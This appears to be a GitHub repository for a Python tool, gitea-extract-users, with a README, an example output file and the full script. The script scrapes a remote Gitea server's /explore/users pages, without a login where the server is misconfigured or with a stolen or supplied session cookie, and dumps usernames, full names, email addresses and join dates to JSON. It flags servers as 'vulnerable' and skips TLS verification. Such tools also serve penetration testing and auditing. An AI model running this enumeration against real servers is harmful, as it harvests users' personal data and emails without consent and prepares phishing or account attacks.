├── .github └── FUNDING.yml ├── example └── GiTea_users_git.podalirius.poc_2022_Dec_20_16h51m18s.json ├── README.md └── gitea-extract-users.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /example/GiTea_users_git.podalirius.poc_2022_Dec_20_16h51m18s.json: -------------------------------------------------------------------------------- 1 | { 2 | "target": "https://git.podalirius.poc", 3 | "users": [ 4 | { 5 | "mail": "podalirius@podalirius.poc", 6 | "username": "Podalirius", 7 | "fullname": "Podalirius Podalirius", 8 | "joined": "Nov 05, 1605" 9 | } 10 | ] 11 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gitea-extract-users 2 | 3 |

4 | A Python script to extract the list of users of a GiTea instance, unauthenticated or authenticated. 5 |
6 | GitHub release (latest by date) 7 | 8 | YouTube Channel Subscribers 9 |
10 |

11 | 12 | ## Features 13 | 14 | - [x] Dump all users of a remote GiTea instance, unauthenticated (misconfiguration of the instance). 15 | - [x] Dump all users of a remote GiTea instance, authenticated using `i_like_gitea` cookie in `--cookie` option. 16 | - [x] Export users and emails to a JSON file, specified by option `--outfile`. 17 | 18 | ## Usage 19 | 20 | ``` 21 | $ ./gitea-extract-users.py -h 22 | Dump GiTea users via /explore/users endpoint - v1.1 - by Remi GASCOU (Podalirius) 23 | 24 | usage: gitea-extract-users.py [-h] -t TARGET [-o OUTFILE] [-c COOKIE] 25 | 26 | Dump GiTea users via /explore/users endpoint 27 | 28 | options: 29 | -h, --help show this help message and exit 30 | -t TARGET, --target TARGET 31 | IP address or hostname of the GiTea to target. 32 | -o OUTFILE, --outfile OUTFILE 33 | Output JSON file of all the found users. 34 | -c COOKIE, --cookie COOKIE 35 | i_like_gitea cookie to dump users in authenticated mode. 36 | ``` 37 | 38 | ## Example output format: 39 | 40 | ```json 41 | { 42 | "target": "https://git.podalirius.poc", 43 | "users": [ 44 | { 45 | "mail": "podalirius@podalirius.poc", 46 | "username": "Podalirius", 47 | "fullname": "Podalirius Podalirius", 48 | "joined": "Nov 05, 1605" 49 | } 50 | ] 51 | } 52 | ``` 53 | -------------------------------------------------------------------------------- /gitea-extract-users.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : gitea-extract-users.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 20 Dec 2022 6 | 7 | 8 | import argparse 9 | import datetime 10 | import json 11 | import sys 12 | from bs4 import BeautifulSoup 13 | import requests 14 | requests.packages.urllib3.disable_warnings() 15 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 16 | try: 17 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 18 | except AttributeError: 19 | pass 20 | 21 | 22 | def can_access_unauthenticated(target, cookie=None): 23 | url = target + "/explore/users" 24 | 25 | cookies = {'lang': 'en-US'} 26 | if cookie != None: 27 | cookies['i_like_gitea'] = cookie 28 | 29 | r = requests.get(url, cookies=cookies, verify=False) 30 | 31 | if r.status_code == 404: 32 | print('\x1b[1;91m[404]\x1b[0m No /explore/users found on this server.') 33 | print('\x1b[1m[\x1b[93m+\x1b[0m\x1b[1m]\x1b[0m Exiting ...') 34 | sys.exit(-1) 35 | 36 | if b"You are not allowed to view users publicly." in r.content or b"Username or Email Address" in r.content: 37 | return False 38 | else: 39 | return True 40 | 41 | 42 | def extract_gitea_users(target): 43 | data = {"target": target, "users": []} 44 | 45 | page_number = 1 46 | continue_crawling = True 47 | while continue_crawling: 48 | url = target + "/explore/users?sort=alphabetically&page=%d&q=&tab=" % page_number 49 | r = requests.get( 50 | url, 51 | cookies=cookies, 52 | verify=False 53 | ) 54 | 55 | target_content = [b"No matching users found.", bytes("Aucun utilisateur correspondant n'a été trouvé.", 'UTF-8')] 56 | if any((match := substring) in r.content for substring in target_content): 57 | print('\n[+] Done processing.') 58 | continue_crawling = False 59 | else: 60 | print('\r [>] Parsing page %d (extracted %d users yet)...' % (page_number, len(data['users'])), end="") 61 | 62 | soup = BeautifulSoup(r.content, 'lxml') 63 | s = soup.find('div', attrs={'class': 'user'}) 64 | 65 | if s is None: 66 | print("\n[!] Could not find users on this page.") 67 | return None 68 | 69 | for user_parser in s.find_all('div', attrs={'class': 'content'}): 70 | user = {} 71 | descr = user_parser.find('div', attrs={'class': 'description'}) 72 | # Parsing mail if exists 73 | if 'mailto:' in str(descr): 74 | mail = descr.find('a')['href'].replace('mailto:', '') 75 | else: 76 | mail = "" 77 | user['mail'] = mail 78 | # 79 | user['username'] = user_parser.find('span', attrs={'class': 'header'}).find("a").text.strip() 80 | user['fullname'] = str(user_parser.find('span', attrs={'class': 'header'})).split('', 1)[1].split('', 1)[0].strip() 81 | 82 | # if 'location' in str(descr): 83 | # user['location'] = [e for e in str(user_parser).split('\n') if "location" in e] 84 | # print(user['location']) 85 | # else : 86 | # user['location'] = "" 87 | # Parsing location if exists 88 | if 'Joined on' in str(descr): 89 | joined = str(user_parser).strip().split('Joined on')[1].split('<')[0].strip() 90 | else: 91 | joined = "" 92 | user['joined'] = joined 93 | # 94 | data['users'].append(user) 95 | page_number += 1 96 | 97 | return data 98 | 99 | 100 | def parseArgs(): 101 | print("Dump GiTea users via /explore/users endpoint - v1.1 - by Remi GASCOU (Podalirius)\n") 102 | parser = argparse.ArgumentParser(description="Dump GiTea users via /explore/users endpoint") 103 | parser.add_argument('-t', '--target', required=True, help='IP address or hostname of the GiTea to target.') 104 | parser.add_argument('-o', '--outfile', required=False, default=None, help='Output JSON file of all the found users.') 105 | parser.add_argument('-c', '--cookie', required=False, default=None, help='i_like_gitea cookie to dump users in authenticated mode.') 106 | return parser.parse_args() 107 | 108 | 109 | if __name__ == '__main__': 110 | options = parseArgs() 111 | 112 | options.target = options.target.rstrip("/") 113 | if not options.target.startswith(("http://", "https://")): 114 | options.target = f"https://{options.target}" 115 | 116 | print('[+] Target : %s \n' % options.target) 117 | 118 | cookies = {'lang': 'en-US'} 119 | if options.cookie is None: 120 | print('[+] Checking if /explore/users is public or not ...') 121 | vulnerable = can_access_unauthenticated(options.target) 122 | if not vulnerable: 123 | print('[-] You need to be connected to access /explore/users on this server.') 124 | print('[+] Exiting ...') 125 | else: 126 | print('[+] Target appears to be vulnerable !') 127 | else: 128 | print('[+] Trying to access /explore/users authenticated with cookie: %s=%s \n' % ("i_like_gitea", options.target)) 129 | cookies['i_like_gitea'] = options.cookie 130 | 131 | data = extract_gitea_users(target=options.target) 132 | 133 | if data is not None: 134 | if options.outfile is None: 135 | domain = options.target.split('/')[2] 136 | options.outfile = 'GiTea_users_%s_%s.json' % (domain, datetime.datetime.now().strftime('%Y_%h_%d_%Hh%Mm%Ss')) 137 | print('[+] Writing results to %s' % options.outfile) 138 | f = open(options.outfile, "w") 139 | f.write(json.dumps(data, indent=4)) 140 | f.close() 141 | 142 | print('[+] All done !') 143 | --------------------------------------------------------------------------------